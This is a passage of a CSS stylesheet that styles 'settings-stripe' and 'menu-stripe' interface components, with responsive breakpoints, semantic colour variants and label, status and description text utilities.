width: 16.66667%
}
.settings-stripe--link .settings-stripe__action {
float: left;
width: 25%
}
.settings-stripe--disabled .settings-stripe__action {
cursor: not-allowed;
opacity: .62;
pointer-events: none
}
.settings-stripe--short .settings-stripe__action {
align-items: center;
display: flex;
float: left;
height: 100%;
justify-content: flex-end;
position: absolute;
right: 15px;
top: 0;
width: 16.66667%
}
.settings-stripe--short.settings-stripe--switch .settings-stripe__action {
float: left;
top: 0;
width: 25%
}
.settings-stripe--short.settings-stripe--link .settings-stripe__action {
float: left;
height: auto;
top: 13px;
width: 50%
}
.settings-stripe__icon {
align-self: center;
height: auto;
margin-left: 13px;
width: auto
}
.settings-stripe__icon--exos-icon:before {
font-family: exos-icon-font;
font-size: 32px;
font-style: normal;
font-weight: 400!important;
vertical-align: top;
vertical-align: middle
}
.settings-stripe__icon--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.settings-stripe__icon--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.settings-stripe__icon--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.settings-stripe__icon--small-hidden {
display:none
}
.settings-stripe {
display: inherit
}
.settings-stripe,.settings-stripe__action,.settings-stripe__label,.settings-stripe__value {
padding-left: 8px;
padding-right: 8px
}
.settings-stripe__icon {
margin-left: 8px;
margin-right: 0
}
.settings-stripe__label {
float: left;
margin-bottom: 1px;
width: 83.33333%
}
.settings-stripe--switch .settings-stripe__label {
float: left;
width: 75%
}
.settings-stripe--link .settings-stripe__label,.settings-stripe--link .settings-stripe__value,.settings-stripe--menu .settings-stripe__value,.settings-stripe--readonly .settings-stripe__label,.settings-stripe--readonly .settings-stripe__value,.settings-stripe--short.settings-stripe--link .settings-stripe__label,.settings-stripe--switch .settings-stripe__value,.settings-stripe__value {
width: 100%
}
.settings-stripe--short .settings-stripe__action,.settings-stripe__action {
align-items: center;
display: flex;
float: left;
height: 100%;
justify-content: flex-end;
position: absolute;
right: 8px;
top: 0;
width: 16.66667%
}
.settings-stripe--switch .settings-stripe__action {
float: left;
width: 25%
}
.settings-stripe--menu .settings-stripe__action {
min-width: 53%
}
.settings-stripe--link .settings-stripe__action {
align-items: inherit;
display: inherit;
height: inherit;
justify-content: inherit;
position: inherit;
right: inherit;
text-align: left;
top: inherit;
width: 100%
}
.settings-stripe--link .settings-stripe__icon {
align-self: flex-start
}
.settings-stripe--short .settings-stripe--switch .settings-stripe__action {
float: left;
width: 25%
}
.settings-stripe--short .settings-stripe--menu .settings-stripe__action {
min-width: 53%
}
.settings-stripe--short.settings-stripe--link .settings-stripe__action {
top: inherit;
width: 100%
}
}
.settings-stripe--activating {
background-color: var(--activating-background-color,#fff);
border-color: var(--activating-shape-color,#11c7e6)
}
.settings-stripe--activating+.settings-stripe {
border-top-color: var(--activating-shape-color,#11c7e6)
}
.settings-stripe--activating:hover {
border-bottom: 1px solid var(--activating-text-color,#007e9c);
border-top: 1px solid var(--activating-text-color,#007e9c)
}
.settings-stripe--activating:hover:last-child {
border-bottom: inherit
}
.settings-stripe--success {
background-color: var(--success-background-color,#fff);
border-color: var(--success-shape-color,#0fa954)
}
.settings-stripe--success+.settings-stripe {
border-top-color: var(--success-shape-color,#0fa954)
}
.settings-stripe--success:hover {
border-bottom: 1px solid var(--success-text-color,#096b35);
border-top: 1px solid var(--success-text-color,#096b35)
}
.settings-stripe--success:hover:last-child {
border-bottom: inherit
}
.settings-stripe--warning {
background-color: var(--warning-background-color,#fff);
border-color: var(--warning-shape-color,#fa0);
color: var(--default-text-color,#001b41)
}
.settings-stripe--warning+.settings-stripe {
border-top-color: var(--warning-shape-color,#fa0)
}
.settings-stripe--warning:hover {
border-bottom: 1px solid var(--warning-text-color,#c36b00);
border-top: 1px solid var(--warning-text-color,#c36b00)
}
.settings-stripe--warning:hover:last-child {
border-bottom: inherit
}
.settings-stripe--critical {
background-color: var(--critical-background-color,#fff);
border-color: var(--critical-shape-color,#f50c00);
color: var(--default-text-color,#001b41)
}
.settings-stripe--critical+.settings-stripe {
border-top-color: var(--critical-shape-color,#f50c00)
}
.settings-stripe--critical:hover {
border-bottom: 1px solid var(--critical-text-color,#c80a00);
border-top: 1px solid var(--critical-text-color,#c80a00)
}
.settings-stripe--critical:hover:last-child {
border-bottom: inherit
}
.settings-stripe--promoting {
background-color: var(--promoting-background-color,#fff);
border-color: var(--promoting-shape-color,#b410e7);
color: var(--default-text-color,#001b41)
}
.settings-stripe--promoting+.settings-stripe {
border-top-color: var(--promoting-shape-color,#b410e7)
}
.settings-stripe--promoting:hover {
border-bottom: 1px solid var(--promoting-text-color,#560e8a);
border-top: 1px solid var(--promoting-text-color,#560e8a)
}
.settings-stripe--promoting:hover:last-child {
border-bottom: inherit
}
.settings-stripe--corporate {
background-color: var(--corporate-background-color,#fff);
border-color: var(--corporate-shape-color,#001b41);
color: var(--default-text-color,#001b41)
}
.settings-stripe--corporate+.settings-stripe {
border-top-color: var(--corporate-shape-color,#001b41)
}
.settings-stripe--corporate:hover {
border-bottom: 1px solid var(--corporate-text-color,#0b2a63);
border-top: 1px solid var(--corporate-text-color,#0b2a63)
}
.settings-stripe--corporate:hover:last-child {
border-bottom: inherit
}
.settings-stripe--neutral {
background-color: var(--neutral-background-color,#fff);
border-color: var(--neutral-shape-color,#718095);
color: var(--default-text-color,#001b41)
}
.settings-stripe--neutral+.settings-stripe {
border-top-color: var(--neutral-shape-color,#718095)
}
.settings-stripe--neutral:hover {
border-bottom: 1px solid var(--neutral-text-color,#465a75);
border-top: 1px solid var(--neutral-text-color,#465a75)
}
.settings-stripe--neutral:hover:last-child {
border-bottom: inherit
}
@media only screen and (max-width: 666px) {
.headless-mode .settings-stripe--headless-hidden,.headless-mode .settings-stripe__icon--headless-hidden {
display:none
}
}
.settings-stripe__flyout .context-menu__list {
right: 16px
}
@media only screen and (max-width: 666px) {
.settings-stripe__flyout .context-menu__list {
position:absolute;
right: 0
}
}
.settings-stripe--short .settings-stripe__flyout .context-menu__list {
right: 1
}
.settings-stripe>:last-child {
margin-bottom: 0
}
.settings-stripe:last-child:not(.settings-stripe--activating):not(.settings-stripe--warning):not(.settings-stripe--success):not(.settings-stripe--critical) {
border-bottom: 0
}
.settings-stripe:first-child:not(.settings-stripe--activating):not(.settings-stripe--warning):not(.settings-stripe--success):not(.settings-stripe--critical) {
border-top: 0
}
.settings-stripe__value .quotabar {
margin-top: 8px
}
@media only screen and (max-width: 666px) {
.settings-stripe__value .quotabar {
margin-top:4px
}
}
.settings-stripe__value .quotabar__bar {
margin-bottom: 6px
}
.settings-stripe__value .quotabar__bar+.quotabar__text {
font-size: var(--default-text-size,14px);
margin-top: 6px
}
.settings-stripe--short .settings-stripe__value .quotabar {
margin-top: 3px
}
.menu-stripe {
background-color: var(--white,#fff);
border: 1px solid var(--tertiary-shape-color,#bcc8d4);
border-radius: var(--default-border-radius,16px);
margin-bottom: 16px;
overflow: hidden
}
@media only screen and (max-width: 666px) {
.menu-stripe {
border-radius:8px
}
}
.menu-stripe--page-context {
background-color: transparent;
border: none
}
.menu-stripe--cropped {
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
margin-bottom: 0
}
.menu-stripe--cropped+.menu-stripe {
border-top: none;
border-top-left-radius: 0;
border-top-right-radius: 0
}
.menu-stripe--cropped+.menu-stripe:first-child {
border-radius: 16px 16px 0 0
}
@media only screen and (max-width: 666px) {
.menu-stripe--cropped+.menu-stripe:first-child {
border-radius:8px 8px 0 0
}
}
.menu-stripe--cropped+.menu-stripe:last-child {
border-radius: 0 0 16px 16px
}
@media only screen and (max-width: 666px) {
.menu-stripe--cropped+.menu-stripe:last-child {
border-radius:0 0 8px 8px
}
}
.menu-stripe__section {
display: flex;
padding: 8px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section {
flex-flow:column
}
}
.menu-stripe__section--semantic-bar-success {
box-shadow: inset 5px 0 var(--success-shape-color,#0fa954);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-success:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-success:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-success:only-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-warning {
box-shadow: inset 5px 0 var(--warning-shape-color,#fa0);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-warning:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-warning:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-warning:only-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-critical {
box-shadow: inset 5px 0 var(--critical-shape-color,#f50c00);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-critical:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-critical:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-critical:only-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-neutral {
box-shadow: inset 5px 0 var(--neutral-shape-color,#718095);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-neutral:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-neutral:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-neutral:only-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-activating {
box-shadow: inset 5px 0 var(--activating-shape-color,#11c7e6);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-activating:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-activating:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-activating:only-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-corporate {
box-shadow: inset 5px 0 var(--corporate-shape-color,#001b41);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-corporate:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-corporate:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-corporate:only-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-promoting {
box-shadow: inset 5px 0 var(--promoting-shape-color,#b410e7);
margin-left: -1px
}
.menu-stripe__section--semantic-bar-promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-promoting:first-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-promoting:last-child {
border-radius:0
}
}
.menu-stripe__section--semantic-bar-promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--semantic-bar-promoting:only-child {
border-radius:0
}
}
.menu-stripe__section--success {
border: 2px solid var(--success-shape-color,#0fa954);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--success {
border-left:none;
border-right: none
}
}
.menu-stripe__section--success:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--success:first-child {
border-radius:0
}
}
.menu-stripe__section--success:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--success:last-child {
border-radius:0
}
}
.menu-stripe__section--success:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--success:only-child {
border-radius:0
}
}
.menu-stripe__section--warning {
border: 2px solid var(--warning-shape-color,#fa0);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--warning {
border-left:none;
border-right: none
}
}
.menu-stripe__section--warning:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--warning:first-child {
border-radius:0
}
}
.menu-stripe__section--warning:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--warning:last-child {
border-radius:0
}
}
.menu-stripe__section--warning:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--warning:only-child {
border-radius:0
}
}
.menu-stripe__section--critical {
border: 2px solid var(--critical-shape-color,#f50c00);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--critical {
border-left:none;
border-right: none
}
}
.menu-stripe__section--critical:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--critical:first-child {
border-radius:0
}
}
.menu-stripe__section--critical:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--critical:last-child {
border-radius:0
}
}
.menu-stripe__section--critical:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--critical:only-child {
border-radius:0
}
}
.menu-stripe__section--neutral {
border: 2px solid var(--neutral-shape-color,#718095);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--neutral {
border-left:none;
border-right: none
}
}
.menu-stripe__section--neutral:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--neutral:first-child {
border-radius:0
}
}
.menu-stripe__section--neutral:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--neutral:last-child {
border-radius:0
}
}
.menu-stripe__section--neutral:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--neutral:only-child {
border-radius:0
}
}
.menu-stripe__section--activating {
border: 2px solid var(--activating-shape-color,#11c7e6);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--activating {
border-left:none;
border-right: none
}
}
.menu-stripe__section--activating:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--activating:first-child {
border-radius:0
}
}
.menu-stripe__section--activating:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--activating:last-child {
border-radius:0
}
}
.menu-stripe__section--activating:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--activating:only-child {
border-radius:0
}
}
.menu-stripe__section--corporate {
border: 2px solid var(--corporate-shape-color,#001b41);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--corporate {
border-left:none;
border-right: none
}
}
.menu-stripe__section--corporate:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--corporate:first-child {
border-radius:0
}
}
.menu-stripe__section--corporate:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--corporate:last-child {
border-radius:0
}
}
.menu-stripe__section--corporate:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--corporate:only-child {
border-radius:0
}
}
.menu-stripe__section--promoting {
border: 2px solid var(--promoting-shape-color,#b410e7);
margin: -1px
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--promoting {
border-left:none;
border-right: none
}
}
.menu-stripe__section--promoting:first-child {
border-top-left-radius: var(--default-border-radius,16px);
border-top-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--promoting:first-child {
border-radius:0
}
}
.menu-stripe__section--promoting:last-child {
border-bottom-left-radius: var(--default-border-radius,16px);
border-bottom-right-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--promoting:last-child {
border-radius:0
}
}
.menu-stripe__section--promoting:only-child {
border-radius: var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.menu-stripe__section--promoting:only-child {
border-radius:0
}
}
.menu-stripe__section--success-solid {
background-color: var(--solid-success-background-color,#12cf76);
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__section--warning-solid {
background-color: var(--solid-warning-background-color,#fa0);
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__section--critical-solid {
background-color: var(--solid-critical-background-color,#ff6159);
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__section--neutral-solid {
background-color: var(--solid-neutral-background-color,#465a75);
color: var(--white,#fff)
}
.menu-stripe__section--activating-solid {
background-color: var(--solid-activating-background-color,#11c7e6);
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__section--promoting-solid {
background-color: var(--solid-promoting-background-color,#e480f8);
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__section--corporate-solid {
background-color: var(--solid-corporate-background-color,#0b2a63);
color: var(--white,#fff)
}
.menu-stripe__section--bright-solid {
background-color: var(--solid-bright-background-color,#fff);
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__section--primary {
background-color: var(--primary-background-color,#fff)
}
.menu-stripe__section--secondary {
background-color: var(--secondary-background-color,#fff)
}
.menu-stripe__section--tertiary {
background-color: var(--tertiary-background-color,#bcc8d4)
}
.menu-stripe__section--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4))
}
.menu-stripe__section--advertising>.headline,.menu-stripe__section--advertising>.paragraph {
color: var(--white,#fff)
}
.menu-stripe__section--beta {
background-color: var(--default-background-color-inverted,#0b2a63)
}
.menu-stripe__section--beta>.headline,.menu-stripe__section--beta>.paragraph {
color: var(--white,#fff)
}
.menu-stripe__section--premium {
background-color: var(--tertiary-background-color-inverted,#718095)
}
.menu-stripe__section--premium>.headline,.menu-stripe__section--premium>.paragraph {
color: var(--white,#fff)
}
.menu-stripe__separator {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin: 0
}
.menu-stripe__item {
box-sizing: border-box;
float: left;
padding: 8px
}
@media only screen and (max-width: 666px) {
.menu-stripe__item {
padding-bottom:6px;
padding-top: 6px
}
}
.menu-stripe__item:first-child:last-child {
width: 100%
}
.menu-stripe__item:first-child:nth-last-child(2) {
width: 30%
}
@media only screen and (max-width: 666px) {
.menu-stripe__item:first-child:nth-last-child(2) {
width:100%
}
}
.menu-stripe__item:nth-child(2):last-child {
width: 70%
}
@media only screen and (max-width: 666px) {
.menu-stripe__item:nth-child(2):last-child {
width:100%
}
}
.menu-stripe__item:first-child:nth-last-child(3) {
width: 30%
}
@media only screen and (max-width: 666px) {
.menu-stripe__item:first-child:nth-last-child(3) {
width:100%
}
}
.menu-stripe__item:nth-child(2):nth-last-child(2) {
width: 40%
}
@media only screen and (max-width: 666px) {
.menu-stripe__item:nth-child(2):nth-last-child(2) {
width:100%
}
}
.menu-stripe__item:nth-child(3):last-child {
width: 30%
}
@media only screen and (max-width: 666px) {
.menu-stripe__item:nth-child(3):last-child {
width:100%
}
}
.menu-stripe__label {
color: var(--default-text-color,#001b41);
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
line-height: 1.5em;
word-break: break-word
}
.menu-stripe__label--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.menu-stripe__label--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__label--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__label--small-hidden {
display:none
}
}
.menu-stripe__label--success {
color: var(--success-text-color,#096b35)
}
.menu-stripe__label--warning {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__label--critical {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__label--neutral {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__label--activating {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__label--promoting {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__label--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__label--bright {
color: var(--white,#fff)
}
.menu-stripe__label.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.menu-stripe__label.exos-icon--bright:before {
color: var(--white,#fff)
}
.menu-stripe__label.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__label.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.menu-stripe__label.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__label.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__label.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__label.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__label.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__label--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.menu-stripe__label--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__label--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__label--large-nowrap {
white-space:nowrap
}
}
.menu-stripe__label--break-all {
word-break: break-all
}
.menu-stripe__label--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.menu-stripe__label--small-break-all {
word-break:break-all
}
.menu-stripe__label--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__label--medium-break-all {
word-break:break-all
}
.menu-stripe__label--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__label--large-break-all {
word-break:break-all
}
.menu-stripe__label--large-break-word {
word-break: break-word
}
}
.menu-stripe__label--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.menu-stripe__label--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__label--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__label--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.menu-stripe__status {
color: var(--default-text-color,#001b41);
line-height: 1.5em
}
.menu-stripe__status--exos-icon {
line-height: inherit
}
.menu-stripe__status--exos-icon:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
padding-bottom: 1px;
padding-right: 3px;
vertical-align: top;
vertical-align: bottom
}
.menu-stripe__status>.exos-icon {
margin-right: 3px;
vertical-align: bottom
}
.menu-stripe__status>.svg-icon {
margin: 0 3px 1px 0;
pointer-events: none;
vertical-align: middle
}
.menu-stripe__status--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.menu-stripe__status--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__status--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__status--small-hidden {
display:none
}
}
.menu-stripe__status--success {
color: var(--success-text-color,#096b35)
}
.menu-stripe__status--warning {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__status--critical {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__status--neutral {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__status--activating {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__status--promoting {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__status--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__status--bright {
color: var(--white,#fff)
}
.menu-stripe__status.exos-icon:before {
color: var(--default-shape-color,#465a75)
}
.menu-stripe__status.exos-icon--bright:before {
color: var(--white,#fff)
}
.menu-stripe__status.exos-icon--activating:before {
color: var(--activating-text-color,#007e9c)
}
.menu-stripe__status.exos-icon--success:before {
color: var(--success-text-color,#096b35)
}
.menu-stripe__status.exos-icon--warning:before {
color: var(--warning-text-color,#c36b00)
}
.menu-stripe__status.exos-icon--critical:before {
color: var(--critical-text-color,#c80a00)
}
.menu-stripe__status.exos-icon--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.menu-stripe__status.exos-icon--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.menu-stripe__status.exos-icon--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.menu-stripe__status--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.menu-stripe__status--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__status--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__status--large-nowrap {
white-space:nowrap
}
}
.menu-stripe__status--break-all {
word-break: break-all
}
.menu-stripe__status--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.menu-stripe__status--small-break-all {
word-break:break-all
}
.menu-stripe__status--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__status--medium-break-all {
word-break:break-all
}
.menu-stripe__status--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.menu-stripe__status--large-break-all {
word-break:break-all
}
.menu-stripe__status--large-break-word {
word-break: break-word
}
}
.menu-stripe__status--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.menu-stripe__status--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__status--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__status--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.menu-stripe__description {
color: var(--default-text-color,#001b41);
line-height: 1.5em
}
.menu-stripe__description+.link,.menu-stripe__description+.toggle-link {
line-height: 1.5em
}
.menu-stripe__description--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.menu-stripe__description--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.menu-stripe__description--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.menu-stripe__description--small-hidden {
display:none
}
}
